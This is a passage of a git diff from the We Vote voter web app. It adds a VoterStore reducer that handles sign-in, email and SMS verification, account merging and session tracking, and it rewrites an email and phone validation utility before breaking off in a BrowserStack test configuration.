+ ballot_location_display_name: address.ballot_location_display_name,
+ voter_entered_address: address.voter_entered_address,
+ voter_specific_ballot_from_google_civic: address.voter_specific_ballot_from_google_civic,
+ },
+ };
+
+ case 'voterBallotItemsRetrieve':
+ // console.log('VoterStore voterBallotItemsRetrieve latestGoogleCivicElectionId: ', action.res.google_civic_election_id);
+ googleCivicElectionId = action.res.google_civic_election_id || 0;
+ if (googleCivicElectionId !== 0) {
+ return {
+ ...state,
+ latestGoogleCivicElectionId: googleCivicElectionId,
+ };
+ }
+ return state;
+
+ case 'voterContactListRetrieve':
+ // console.log('VoterStore voterContactListRetrieve action:', action);
+ if (action.res.success) {
+ const {
+ voter_contact_email_google_count: voterContactEmailGoogleCount,
+ voter_contact_email_list: voterContactEmailList,
+ } = action.res;
+ return {
+ ...state,
+ voterContactEmailGoogleCount,
+ voterContactEmailList,
+ };
+ } else {
+ console.log('response voterContactListRetrieve was not successful');
+ return state;
+ }
+
+ case 'voterContactListSave':
+ // console.log('VoterStore voterContactListSave action.res:', action.res);
+ if (action.res.success) {
+ ({ voterContactEmailAugmentWithWeVoteDataComplete } = state);
+ const {
+ augment_voter_contact_emails_with_location: justAugmentedWithLocation,
+ augment_voter_contact_emails_with_we_vote_data: justAugmentedWithWeVoteData,
+ contacts_stored: googleContactsStored,
+ delete_all_voter_contact_emails: voterContactEmailsJustDeleted,
+ voter_contact_email_augment_sequence_complete: voterContactEmailAugmentSequenceComplete,
+ voter_contact_email_augment_sequence_has_next_step: voterContactEmailAugmentSequenceHasNextStep,
+ voter_contact_email_google_count: voterContactEmailGoogleCount,
+ voter_contact_email_list: voterContactEmailList,
+ we_vote_id_for_google_contacts: weVoteIdForGoogleContacts,
+ } = action.res;
+ // console.log('googleContactsStored:', googleContactsStored, ', justAugmentedWithWeVoteData:', justAugmentedWithWeVoteData, ',justAugmentedWithLocation:', justAugmentedWithLocation);
+ if (voterContactEmailsJustDeleted || justAugmentedWithLocation) {
+ // Never call again
+ } else if (googleContactsStored && (googleContactsStored > 0)) {
+ // console.log('Calling VoterActions.voterContactListAugmentWithWeVoteData');
+ VoterActions.voterContactListAugmentWithWeVoteData(true);
+ } else if (justAugmentedWithWeVoteData) {
+ // console.log('Calling VoterActions.voterContactListAugmentWithLocation');
+ VoterActions.voterContactListAugmentWithLocation(true);
+ }
+ if (googleContactsStored) {
+ voterContactEmailAugmentWithWeVoteDataComplete = false;
+ } else if (justAugmentedWithWeVoteData) {
+ voterContactEmailAugmentWithWeVoteDataComplete = true;
+ }
+ return {
+ ...state,
+ weVoteIdForGoogleContacts,
+ googleContactsStored,
+ voterContactEmailAugmentWithWeVoteDataComplete,
+ voterContactEmailAugmentSequenceComplete,
+ voterContactEmailAugmentSequenceHasNextStep,
+ voterContactEmailGoogleCount,
+ voterContactEmailList,
+ };
+ } else {
+ console.log('response voterContactListSave was not successful');
+ return state;
+ }
+
+ case 'voterEmailAddressRetrieve':
+ // console.log('VoterStore voterEmailAddressRetrieve: ', action.res.email_address_list);
+ return {
+ ...state,
+ emailAddressList: action.res.email_address_list,
+ };
+
+ case 'voterEmailAddressSave':
+ // console.log('VoterStore, voterEmailAddressSave');
+ VoterActions.voterRetrieve();
+ return {
+ ...state,
+ emailAddressList: action.res.email_address_list,
+ emailAddressStatus: {
+ email_verify_attempted: action.res.email_verify_attempted,
+ email_address_already_owned_by_other_voter: action.res.email_address_already_owned_by_other_voter,
+ email_address_already_owned_by_this_voter: action.res.email_address_already_owned_by_this_voter,
+ email_address_created: action.res.email_address_created,
+ email_address_deleted: action.res.email_address_deleted,
+ email_address_not_valid: action.res.email_address_not_valid,
+ from_voter_we_vote_id: action.res.from_voter_we_vote_id,
+ link_to_sign_in_email_sent: action.res.link_to_sign_in_email_sent,
+ make_primary_email: action.res.make_primary_email,
+ sign_in_code_email_sent: action.res.sign_in_code_email_sent,
+ secret_code_system_locked_for_this_voter_device_id: action.res.secret_code_system_locked_for_this_voter_device_id,
+ to_voter_we_vote_id: action.res.to_voter_we_vote_id,
+ verification_email_sent: action.res.verification_email_sent,
+ },
+ };
+
+ case 'voterEmailAddressSignIn':
+ // console.log('VoterStore, voterEmailAddressSignIn');
+ VoterActions.voterRetrieve();
+ return {
+ ...state,
+ emailSignInStatus: {
+ email_sign_in_attempted: action.res.email_sign_in_attempted,
+ email_ownership_is_verified: action.res.email_ownership_is_verified,
+ email_secret_key_belongs_to_this_voter: action.res.email_secret_key_belongs_to_this_voter,
+ email_address_found: action.res.email_address_found,
+ yes_please_merge_accounts: action.res.yes_please_merge_accounts,
+ voter_we_vote_id_from_secret_key: action.res.voter_we_vote_id_from_secret_key,
+ voter_merge_two_accounts_attempted: false,
+ },
+ };
+
+ case 'voterEmailAddressVerify':
+ // console.log('VoterStore, voterEmailAddressVerify');
+ VoterActions.voterRetrieve();
+ return {
+ ...state,
+ emailAddressStatus: {
+ email_ownership_is_verified: action.res.email_ownership_is_verified,
+ email_secret_key_belongs_to_this_voter: action.res.email_secret_key_belongs_to_this_voter,
+ email_verify_attempted: action.res.email_verify_attempted,
+ email_address_found: action.res.email_address_found,
+ },
+ emailSignInStatus: {
+ email_ownership_is_verified: action.res.email_ownership_is_verified,
+ email_secret_key_belongs_to_this_voter: action.res.email_secret_key_belongs_to_this_voter,
+ email_sign_in_attempted: action.res.email_verify_attempted,
+ email_address_found: action.res.email_address_found,
+ },
+ };
+
+ case 'voterEmailQueuedToSave':
+ // console.log('VoterStore voterEmailQueuedToSave: ', action.payload);
+ if (action.payload === undefined) {
+ return {
+ ...state,
+ voterEmailQueuedToSave: '',
+ voterEmailQueuedToSaveSet: false,
+ };
+ } else {
+ return {
+ ...state,
+ voterEmailQueuedToSave: action.payload,
+ voterEmailQueuedToSaveSet: true,
+ };
+ }
+
+ case 'voterFacebookSaveToCurrentAccount':
+ // console.log('VoterStore, voterFacebookSaveToCurrentAccount');
+ VoterActions.voterRetrieve();
+ return {
+ ...state,
+ facebookSignInStatus: {
+ facebook_account_created: action.res.facebook_account_created,
+ },
+ };
+
+ case 'voterFirstNameQueuedToSave':
+ // console.log('VoterStore voterFirstNameQueuedToSave: ', action.payload);
+ if (action.payload === undefined) {
+ return {
+ ...state,
+ voterFirstNameQueuedToSave: '',
+ voterFirstNameQueuedToSaveSet: false,
+ };
+ } else {
+ return {
+ ...state,
+ voterFirstNameQueuedToSave: action.payload,
+ voterFirstNameQueuedToSaveSet: true,
+ };
+ }
+
+ case 'voterLastNameQueuedToSave':
+ // console.log('VoterStore voterLastNameQueuedToSave: ', action.payload);
+ if (action.payload === undefined) {
+ return {
+ ...state,
+ voterLastNameQueuedToSave: '',
+ voterLastNameQueuedToSaveSet: false,
+ };
+ } else {
+ return {
+ ...state,
+ voterLastNameQueuedToSave: action.payload,
+ voterLastNameQueuedToSaveSet: true,
+ };
+ }
+
+ case 'voterMergeTwoAccounts':
+ // console.log('VoterStore, voterMergeTwoAccounts');
+ // On the server we just switched (linked) this voterDeviceId to a new voter record, so we want to the voter.
+ // refresh a lot of data -- December 2022, but as little as absolutely required, and no more
+ VoterActions.voterRetrieve();
+ // // And set a timer for 3 seconds from now to refresh again
+ // this.timer = setTimeout(() => {
+ // VoterActions.voterRetrieve();
+ // }, delayBeforeApiCall);
+ VoterActions.voterEmailAddressRetrieve(); // TODO: December 2022, Is this necessary?
+ VoterActions.voterSMSPhoneNumberRetrieve(); // TODO: December 2022, Is this necessary?
+ if (!signInModalGlobalState.get('textOrEmailSignInInProcess')) {
+ // Cascading actions like this causes serious problems when you have a dialog with components that change stores.
+ FriendActions.friendListsAll();
+ BallotActions.voterBallotItemsRetrieve();
+ }
+ if (action.res.merge_from_voter_we_vote_id && action.res.merge_to_voter_we_vote_id) {
+ if (apiCalming('voterRetrieveMergeTwo', 3000)) {
+ // This completes the time-consuming process 'voter_merge_two_accounts_action' and then returns voter data
+ console.log('VoterStore: voterMergeTwoAccounts: Completing voterRetrieveMergeTwo process');
+ VoterActions.voterRetrieve(action.res.merge_from_voter_we_vote_id, action.res.merge_to_voter_we_vote_id);
+ }
+ }
+ return {
+ ...state,
+ emailSignInStatus: {
+ email_ownership_is_verified: true,
+ email_secret_key_belongs_to_this_voter: true,
+ email_sign_in_attempted: true,
+ email_address_found: true,
+ yes_please_merge_accounts: false,
+ voter_we_vote_id_from_secret_key: '',
+ voter_merge_two_accounts_attempted: true,
+ },
+ facebookSignInStatus: {
+ voter_merge_two_accounts_attempted: true,
+ },
+ twitterSignInStatus: {
+ voter_merge_two_accounts_attempted: true,
+ },
+ };
+
+ case 'voterNotificationSettingsUpdate':
+ // console.log('VoterStore, voterNotificationSettingsUpdate');
+ if (!action.res) {
+ return {
+ ...state,
+ voterNotificationSettingsUpdateStatus: {
+ apiResponseReceived: true,
+ emailFound: false,
+ voterFound: false,
+ normalizedEmailAddress: '',
+ normalizedSmsPhoneNumber: '',
+ notificationSettingsFlags: false,
+ },
+ };
+ }
+ return {
+ ...state,
+ voterNotificationSettingsUpdateStatus: {
+ apiResponseReceived: true,
+ emailFound: action.res.email_found,
+ voterFound: action.res.voter_found,
+ normalizedEmailAddress: action.res.normalized_email_address,
+ normalizedSmsPhoneNumber: action.res.normalized_sms_phone_number,
+ notificationSettingsFlags: action.res.notification_settings_flags,
+ },
+ };
+
+ case 'voterPhotoQueuedToSave':
+ // console.log('VoterStore voterPhotoQueuedToSave: ', action.payload);
+ if (action.payload === undefined) {
+ return {
+ ...state,
+ voterPhotoQueuedToSave: '',
+ voterPhotoQueuedToSaveSet: false,
+ };
+ } else {
+ return {
+ ...state,
+ voterPhotoQueuedToSave: action.payload,
+ voterPhotoQueuedToSaveSet: true,
+ };
+ }
+
+ case 'voterPhotoSave':
+ // console.log('VoterStore, voterPhotoSave');
+ return {
+ ...state,
+ voter: { ...state.voter, facebook_profile_image_url_https: action.res.facebook_profile_image_url_https },
+ };
+
+ case 'profilePhotoTooBigReset':
+ // console.log('VoterStore, profilePhotoTooBigReset');
+ return {
+ ...state,
+ voterPhotoTooBig: false,
+ };
+
+ case 'voterRetrieve':
+ // console.log('VoterStore, voterRetrieve state on entry: ', state);
+ // console.log('VoterStore, voterRetrieve state on entry: ', state.voter);
+
+ // Preserve address within voter
+ incomingVoter = action.res;
+ ({ facebookPhotoRetrieveLoopCount, voterFirstRetrieveCompleted } = state);
+ if (!voterFirstRetrieveCompleted) {
+ voterFirstRetrieveCompleted = Boolean(action.res.success);
+ }
+
+ currentVoterDeviceId = Cookies.get('voter_device_id');
+ // console.log('VoterStore, voterRetrieve stored Cookie value for voter_device_id value on entry: ', currentVoterDeviceId);
+ if (!action.res.voter_found) {
+ console.log(`This voter_device_id is not in the db and is invalid, so delete it: ${currentVoterDeviceId}`);
+
+ // Attempt to delete the voter_device_id cookie in a variety of ways
+ Cookies.remove('voter_device_id');
+ Cookies.remove('voter_device_id', { path: '/' });
+ Cookies.remove('voter_device_id', { path: '/', domain: 'wevote.us' });
+
+ // ...and then ask for a new voter. When it returns a voter with a new voter_device_id, we will set new cookie
+ if (!Cookies.get('voter_device_id')) {
+ console.log('voter_device_id gone -- calling voterRetrieve');
+ VoterActions.voterRetrieve();
+ } else {
+ // console.log('voter_device_id still exists -- did not call voterRetrieve');
+ }
+ } else {
+ voterDeviceId = action.res.voter_device_id;
+ if (voterDeviceId) {
+ if (currentVoterDeviceId !== voterDeviceId) {
+ console.log('Setting new voter_device_id');
+ this.setVoterDeviceIdCookie(voterDeviceId);
+ }
+ // FriendsInvitationList.jsx is choking on this because calling this
+ // results in an infinite loop cycling between voterRetrieve and getFaceProfilePicture which
+ // resolves to FACEBOOK_RECEIVED_PICTURE which then attempts to save using voterFacebookSignInPhoto
+ // which in turn resolves to voterFacebookSignInSave which finally attempts to call
+ // voterRetrieve again
+ const url = action.res.facebook_profile_image_url_https;
+ // console.log('VoterStore, voterRetrieve, action.res: ', action.res);
+
+ if (action.res.signed_in_facebook && (url === null || url === '') && facebookPhotoRetrieveLoopCount < 10) {
+ FacebookActions.getFacebookProfilePicture();
+ }
+ } else {
+ // console.log('voter_device_id not returned by voterRetrieve');
+ }
+ }
+ // April 29, 2021 TODO: We should make a combined Voter and Organization retrieve
+ // because this fires on the initial page load and takes almost a full second to return, blocking one of six available http channels
+ // Firing actions from stores should be avoided
+ // The following (new) condition blocks a organizationRetrieve on the first voterRetrieve
+ if (this.getState().voter.we_vote_id && currentVoterDeviceId) {
+ if (incomingVoter.linked_organization_we_vote_id) {
+ if (apiCalming('organizationRetrieve', 2000)) {
+ // console.log('Following voterRetrieve call -- calling organizationRetrieve');
+ OrganizationActions.organizationRetrieve(incomingVoter.linked_organization_we_vote_id);
+ }
+ }
+ }
+ // if (incomingVoter.signed_in_with_apple) {
+ // // Completing the logical OR that can't be conveniently made in the server, since Sign in with Apple is device_id specific
+ // incomingVoter.is_signed_in = incomingVoter.signed_in_with_apple;
+ // const { voter_photo_url_medium: statePhotoMed } = state.voter;
+ // const { voter_photo_url_medium: incomingPhotoMed } = incomingVoter;
+ // if (!statePhotoMed && !incomingPhotoMed) {
+ // incomingVoter.voter_photo_url_medium = 'https://wevote.us/img/global/logos/Apple_logo_grey.svg'; // TODO: Switch over to wevote.us once live server is updated
+ // }
+ // }
+ if (incomingVoter && incomingVoter.we_vote_id) {
+ if (incomingVoter.we_vote_id !== AppObservableStore.getOpenReplayVoterWeVoteId()) {
+ // console.log('tracker.setUserId:', incomingVoter.we_vote_id);
+ const tracker = AppObservableStore.getOpenReplayTracker();
+ if (tracker) {
+ console.log('OpenReplay setting id: ', incomingVoter.we_vote_id);
+ AppObservableStore.setOpenReplayVoterWeVoteId(incomingVoter.we_vote_id);
+ tracker.setUserID(incomingVoter.we_vote_id);
+ }
+ }
+ if (incomingVoter.is_signed_in && !AppObservableStore.getOpenReplayVoterIsSignedIn()) {
+ const tracker = AppObservableStore.getOpenReplayTracker();
+ if (tracker) {
+ console.log('OpenReplay setting voterIsSignedIn');
+ AppObservableStore.setOpenReplayVoterIsSignedIn(true);
+ tracker.setMetadata('voterIsSignedIn', 'true');
+ }
+ }
+ if (this.getStateCode() && !AppObservableStore.getOpenReplayStateCode()) {
+ // getStateCode defaults to state_code_from_ip_address but is overridden by the state in text_for_map_search
+ const tracker = AppObservableStore.getOpenReplayTracker();
+ const stateCode = this.getStateCode().toUpperCase();
+ if (tracker && stateCode) {
+ console.log('OpenReplay setting stateCode');
+ AppObservableStore.setOpenReplayStateCode(stateCode);
+ tracker.setMetadata('stateCode', stateCode);
+ }
+ }
+ if (incomingVoter.state_code_from_ip_address && !AppObservableStore.getOpenReplayStateCodeFromIpAddress()) {
+ const tracker = AppObservableStore.getOpenReplayTracker();
+ const stateCodeFromIpAddress = incomingVoter.state_code_from_ip_address.toUpperCase();
+ if (tracker && stateCodeFromIpAddress) {
+ console.log('OpenReplay setting stateCodeFromIpAddress');
+ AppObservableStore.setOpenReplayStateCodeFromIpAddress(stateCodeFromIpAddress);
+ tracker.setMetadata('stateCodeFromIpAddress', stateCodeFromIpAddress);
+ }
+ }
+ }
+ revisedState = state;
+ revisedState = {
+ ...revisedState,
+ facebookPhotoRetrieveLoopCount: facebookPhotoRetrieveLoopCount + 1,
+ voter: incomingVoter,
+ voterFirstRetrieveCompleted,
+ voterFound: action.res.voter_found,
+ };
+ if (incomingVoter.address) {
+ // console.log('incomingVoter.address:', incomingVoter.address);
+ revisedState = { ...revisedState, address: incomingVoter.address };
+ }
+ return revisedState;
+
+ case 'voterSignOut':
+ // console.log('VoterStore resetting voterStore via voterSignOut');
+ VoterActions.voterRetrieve();
+ VoterActions.voterEmailAddressRetrieve();
+ VoterActions.voterSMSPhoneNumberRetrieve();
+ revisedState = state;
+ revisedState = { ...revisedState, ...this.getInitialState() };
+ return revisedState;
+
+ case 'voterSMSPhoneNumberRetrieve':
+ // console.log('VoterStore voterSMSPhoneNumberRetrieve: ', action.res.sms_phone_number_list);
+ return {
+ ...state,
+ smsPhoneNumberList: action.res.sms_phone_number_list,
+ };
+
+ case 'voterSMSPhoneNumberSave':
+ // console.log('VoterStore voterSMSPhoneNumberSave action.res:', action.res);
+ VoterActions.voterRetrieve();
+ VoterActions.voterSMSPhoneNumberRetrieve();
+ return {
+ ...state,
+ smsPhoneNumberList: action.res.sms_phone_number_list,
+ smsPhoneNumberStatus: {
+ sms_verify_attempted: action.res.sms_verify_attempted,
+ sms_phone_number_already_owned_by_other_voter: action.res.sms_phone_number_already_owned_by_other_voter,
+ sms_phone_number_already_owned_by_this_voter: action.res.sms_phone_number_already_owned_by_this_voter,
+ sms_phone_number_created: action.res.sms_phone_number_created,
+ sms_phone_number: action.res.sms_phone_number,
+ sms_phone_number_found: action.res.sms_phone_number_found,
+ sms_phone_number_deleted: action.res.sms_phone_number_deleted,
+ make_primary_sms: action.res.make_primary_sms,
+ secret_code_system_locked_for_this_voter_device_id: action.res.secret_code_system_locked_for_this_voter_device_id,
+ sign_in_code_sms_sent: action.res.sign_in_code_sms_sent,
+ verification_sms_sent: action.res.verification_sms_sent,
+ },
+ };
+
+ case 'voterSplitIntoTwoAccounts':
+ // console.log('VoterStore voterSplitIntoTwoAccounts ');
+ VoterActions.voterRetrieve();
+ return state;
+
+ case 'voterReviewedApp':
+ // console.log(`VoterStore voterReviewedApp status: ${JSON.stringify(action.res)}`);
+ return {
+ ...state,
+ app_review_state: action.res.app_review_state.length ? action.res.app_review_state : 'NONE',
+ app_review_version: action.res.app_review_version,
+ app_review_platform: action.res.app_review_platform,
+ app_review_date: action.res.app_review_date,
+ };
+
+ case 'voterTwitterSaveToCurrentAccount':
+ // console.log('VoterStore voterTwitterSaveToCurrentAccount ');
+ VoterActions.voterRetrieve();
+ return {
+ ...state,
+ twitterSignInStatus: {
+ twitter_account_created: action.res.twitter_account_created,
+ },
+ };
+
+ case 'voterUpdate': // Formerly voterDeleteAccount
+ if (action.res.success && action.res.voter_deleted) {
+ revisedState = state;
+ revisedState = { ...revisedState,
+ voterDeleted: true,
+ voterNotDeleted: false,
+ };
+ return revisedState;
+ } else if (action.res.success && action.res.voter_not_deleted) {
+ revisedState = state;
+ revisedState = { ...revisedState,
+ voterDeleted: false,
+ voterNotDeleted: true,
+ };
+ return revisedState;
+ } else if (action.res.success) {
+ let interfaceStatusFlags = action.res.interface_status_flags;
+ if (interfaceStatusFlags === undefined) {
+ interfaceStatusFlags = state.voter.interface_status_flags;
+ }
+ let notificationSettingsFlags = action.res.notification_settings_flags;
+ if (notificationSettingsFlags === undefined) {
+ notificationSettingsFlags = state.voter.notification_settings_flags;
+ }
+ if (action.res.voter_updated && this.getLinkedOrganizationWeVoteId()) {
+ // console.log('voter_updated:', action.res.voter_updated);
+ OrganizationActions.organizationRetrieve(this.getLinkedOrganizationWeVoteId());
+ }
+ return {
+ ...state,
+ voter: {
+ ...state.voter,
+ // With this we are only updating the values we change with a voterUpdate call.
+ facebook_email: action.res.email || state.voter.email,
+ first_name: action.res.first_name,
+ interface_status_flags: interfaceStatusFlags,
+ last_name: action.res.last_name,
+ notification_settings_flags: notificationSettingsFlags,
+ profile_image_type_currently_active: action.res.profile_image_type_currently_active || '',
+ voter_donation_history_list: action.res.voter_donation_history_list || state.voter.voter_donation_history_list,
+ passkey_received_but_not_accepted: action.res.passkey_received_but_not_accepted || false,
+ passkey_verified: action.res.passkey_verified || false,
+ voter_photo_url_large: action.res.we_vote_hosted_profile_image_url_large || '',
+ voter_photo_url_medium: action.res.we_vote_hosted_profile_image_url_medium || '',
+ voter_photo_url_tiny: action.res.we_vote_hosted_profile_image_url_tiny || '',
+ we_vote_hosted_profile_facebook_image_url_large: action.res.we_vote_hosted_profile_facebook_image_url_large || '',
+ we_vote_hosted_profile_twitter_image_url_large: action.res.we_vote_hosted_profile_twitter_image_url_large || '',
+ we_vote_hosted_profile_uploaded_image_url_large: action.res.we_vote_hosted_profile_uploaded_image_url_large || '',
+ },
+ voterPhotoTooBig: action.res.voter_photo_too_big || false,
+ };
+ } else {
+ return {
+ ...state,
+ voterPhotoTooBig: action.res.voter_photo_too_big || false,
+ };
+ }
+
+ case 'voterVerifySecretCode':
+ // console.log('VoterStore, voterVerifySecretCode, action.res:', action.res);
+ incorrectSecretCodeEntered = (action.res.incorrect_secret_code_entered && action.res.incorrect_secret_code_entered === true);
+ mergeFromVoterWeVoteId = action.res.merge_from_voter_we_vote_id;
+ mergeToVoterWeVoteId = action.res.merge_to_voter_we_vote_id;
+ numberOfTriesRemaining = action.res.number_of_tries_remaining_for_this_code;
+ secretCodeVerified = (action.res.secret_code_verified && action.res.secret_code_verified === true);
+ voterMustRequestNewCode = (action.res.voter_must_request_new_code && action.res.voter_must_request_new_code === true);
+ voterSecretCodeRequestsLocked = (action.res.secret_code_system_locked_for_this_voter_device_id && action.res.secret_code_system_locked_for_this_voter_device_id === true);
+ // console.log('onVoterStoreChange voterStore secretCodeVerified', secretCodeVerified);
+ // It is appropriate to keep this call within the Store because the components which trigger the voterVerifySecretCode
+ // get closed as soon as secretCodeVerified is true
+ if (mergeFromVoterWeVoteId && mergeToVoterWeVoteId) {
+ // console.log('VoterStore, voterVerifySecretCode: voterRetrieveMergeTwo mergeFromVoterWeVoteId:', mergeFromVoterWeVoteId, ', mergeToVoterWeVoteId:', mergeToVoterWeVoteId);
+ if (apiCalming('voterRetrieveMergeTwo', 3000)) {
+ // This completes the time-consuming process 'voter_merge_two_accounts_action' and then returns voter data
+ VoterActions.voterRetrieve(mergeFromVoterWeVoteId, mergeToVoterWeVoteId);
+ }
+ }
+ return {
+ ...state,
+ secretCodeVerificationStatus: {
+ incorrectSecretCodeEntered,
+ numberOfTriesRemaining,
+ secretCodeVerified,
+ voterMustRequestNewCode,
+ voterSecretCodeRequestsLocked,
+ },
+ };
+
+ case 'appleSignInSave':
+ if (action.res.success) {
+ // eslint-disable-next-line camelcase
+ const { first_name: firstName, middle_name: middleName, last_name: lastName, email, user_code: appleUserCode } = action.res;
+ VoterActions.voterRetrieve();
+ return {
+ ...state,
+ voter: {
+ first_name: firstName,
+ middle_name: middleName,
+ last_name: lastName,
+ email,
+ appleUserCode,
+ signed_in_with_apple: true,
+ },
+ };
+ } else {
+ console.log('Received a bad response from appleSignInSave API call');
+ return state;
+ }
+
+ case 'deviceStoreFirebaseCloudMessagingToken':
+ if (action.res.success) {
+ // console.log('Received success from deviceStoreFirebaseCloudMessagingToken API call');
+ return state;
+ } else {
+ console.log('Received a bad response from deviceStoreFirebaseCloudMessagingToken API call, object properties follow:');
+ dumpObjProps('action.res', action.res);
+ return state;
+ }
+
+
+ case 'error-voterRetrieve' || 'error-voterAddressRetrieve' || 'error-voterAddressSave':
+ // console.log('VoterStore action', action);
+ return state;
+
+ default:
+ return state;
+ }
+ }
+}
+
+export default new VoterStore(Dispatcher);
diff --git a/src/js/utils/regex-checks.js b/src/js/utils/regex-checks.js
index db033e282b..1bfd53b620 100644
--- a/src/js/utils/regex-checks.js
+++ b/src/js/utils/regex-checks.js
@@ -1,46 +1,46 @@
-// December 2018: This is an opensource file that we reuse, so no lint corrections are appropriate
-/* eslint no-useless-escape: 0 */
-
-
-const WSP = '[ \\t]';
-const CRLF = '(?:\\r\\n)';
-const NO_WS_CTL = '\\x01-\\x08\\x0b\\x0c\\x0f-\\x1f\\x7f';
-const QUOTED_PAIR = '(?:\\\\.)';
-const FWS = `(?:(?:${WSP}*${CRLF})?${WSP}+)`;
-const CTEXT = `[${NO_WS_CTL}\\x21-\\x27\\x2a-\\x5b\\x5d-\\x7e]`;
-const CCONTENT = `(?:${CTEXT}|${QUOTED_PAIR})`;
-const COMMENT = `\\((?:${FWS}?${CCONTENT})*${FWS}?\\)`;
-const CFWS = `(?:${FWS}?${COMMENT})*(?:${FWS}?${COMMENT}|${FWS})`;
-const ATEXT = '[\\w!#$%&\'*+\\-/=\\?^`\\{\\|\\}~]';
-// const ATOM = `${CFWS}?${ATEXT}+${CFWS}?`;
-const DOT_ATOM_TEXT = `${ATEXT}+(?:\\.${ATEXT}+)*`;
-const DOT_ATOM = `${CFWS}?${DOT_ATOM_TEXT}${CFWS}?`;
-const QTEXT = `[${NO_WS_CTL}\\x21\\x23-\\x5b\\x5d-\\x7e]`;
-const QCONTENT = `(?:${QTEXT}|${QUOTED_PAIR})`;
-const QUOTED_STRING = `${CFWS}?"(?:${FWS}?${QCONTENT})*${FWS}?"${CFWS}?`;
-const LOCAL_PART = `(?:${DOT_ATOM}|${QUOTED_STRING})`;
-const DTEXT = `[${NO_WS_CTL}\\x21-\\x5a\\x5e-\\x7e]`;
-const DCONTENT = `(?:${DTEXT}|${QUOTED_PAIR})`;
-const DOMAIN_LITERAL = `${CFWS}?\\[(?:${FWS}?${DCONTENT})*${FWS}?\\]${CFWS}?`;
-const DOMAIN = `(?:${DOT_ATOM}|${DOMAIN_LITERAL})`;
-const ADDR_SPEC = `${LOCAL_PART}@${DOMAIN}`;
-const VALID_ADDRESS_REGEXP = new RegExp(`^${ADDR_SPEC}$`);
-
-export function validateEmail (email) {
- const trimmedEmail = email ? email.trim() : '';
- if (trimmedEmail.length < 6 || trimmedEmail.length > 254) {
- return false;
- } else {
- // const re = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
- return VALID_ADDRESS_REGEXP.test(trimmedEmail);
- }
-}
-
-export function validatePhoneOrEmail (contactInfo) {
- // const emailRegex = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
- const phoneRegex = /^\D?(\d{3})\D?\D?(\d{3})\D?(\d{4})$/;
- const trimmedContactInfo = contactInfo ? contactInfo.trim() : '';
- if (VALID_ADDRESS_REGEXP.test(trimmedContactInfo)) {
- return true;
- } else return phoneRegex.test(trimmedContactInfo);
-}
+// December 2018: This is an opensource file that we reuse, so no lint corrections are appropriate
+/* eslint no-useless-escape: 0 */
+
+
+const WSP = '[ \\t]';
+const CRLF = '(?:\\r\\n)';
+const NO_WS_CTL = '\\x01-\\x08\\x0b\\x0c\\x0f-\\x1f\\x7f';
+const QUOTED_PAIR = '(?:\\\\.)';
+const FWS = `(?:(?:${WSP}*${CRLF})?${WSP}+)`;
+const CTEXT = `[${NO_WS_CTL}\\x21-\\x27\\x2a-\\x5b\\x5d-\\x7e]`;
+const CCONTENT = `(?:${CTEXT}|${QUOTED_PAIR})`;
+const COMMENT = `\\((?:${FWS}?${CCONTENT})*${FWS}?\\)`;
+const CFWS = `(?:${FWS}?${COMMENT})*(?:${FWS}?${COMMENT}|${FWS})`;
+const ATEXT = '[\\w!#$%&\'*+\\-/=\\?^`\\{\\|\\}~]';
+// const ATOM = `${CFWS}?${ATEXT}+${CFWS}?`;
+const DOT_ATOM_TEXT = `${ATEXT}+(?:\\.${ATEXT}+)*`;
+const DOT_ATOM = `${CFWS}?${DOT_ATOM_TEXT}${CFWS}?`;
+const QTEXT = `[${NO_WS_CTL}\\x21\\x23-\\x5b\\x5d-\\x7e]`;
+const QCONTENT = `(?:${QTEXT}|${QUOTED_PAIR})`;
+const QUOTED_STRING = `${CFWS}?"(?:${FWS}?${QCONTENT})*${FWS}?"${CFWS}?`;
+const LOCAL_PART = `(?:${DOT_ATOM}|${QUOTED_STRING})`;
+const DTEXT = `[${NO_WS_CTL}\\x21-\\x5a\\x5e-\\x7e]`;
+const DCONTENT = `(?:${DTEXT}|${QUOTED_PAIR})`;
+const DOMAIN_LITERAL = `${CFWS}?\\[(?:${FWS}?${DCONTENT})*${FWS}?\\]${CFWS}?`;
+const DOMAIN = `(?:${DOT_ATOM}|${DOMAIN_LITERAL})`;
+const ADDR_SPEC = `${LOCAL_PART}@${DOMAIN}`;
+const VALID_ADDRESS_REGEXP = new RegExp(`^${ADDR_SPEC}$`);
+
+export function validateEmail (email) {
+ const trimmedEmail = email ? email.trim() : '';
+ if (trimmedEmail.length < 6 || trimmedEmail.length > 254) {
+ return false;
+ } else {
+ // const re = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
+ return VALID_ADDRESS_REGEXP.test(trimmedEmail);
+ }
+}
+
+export function validatePhoneOrEmail (contactInfo) {
+ // const emailRegex = /^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
+ const phoneRegex = /^\D?(\d{3})\D?\D?(\d{3})\D?(\d{4})$/;
+ const trimmedContactInfo = contactInfo ? contactInfo.trim() : '';
+ if (VALID_ADDRESS_REGEXP.test(trimmedContactInfo)) {
+ return true;
+ } else return phoneRegex.test(trimmedContactInfo);
+}
diff --git a/tests/browserstack_automation/capabilities/browser_bvt.json b/tests/browserstack_automation/capabilities/browser_bvt.json
index 04629951b0..b99deca18f 100644
--- a/tests/browserstack_automation/capabilities/browser_bvt.json
+++ b/tests/browserstack_automation/capabilities/browser_bvt.json
@@ -1,13 +1,13 @@
-[
- {
- "browserName": "Chrome",
- "bstack:options": {
- "os": "Windows",
- "osVersion": "10",
- "browserVersion": "latest",
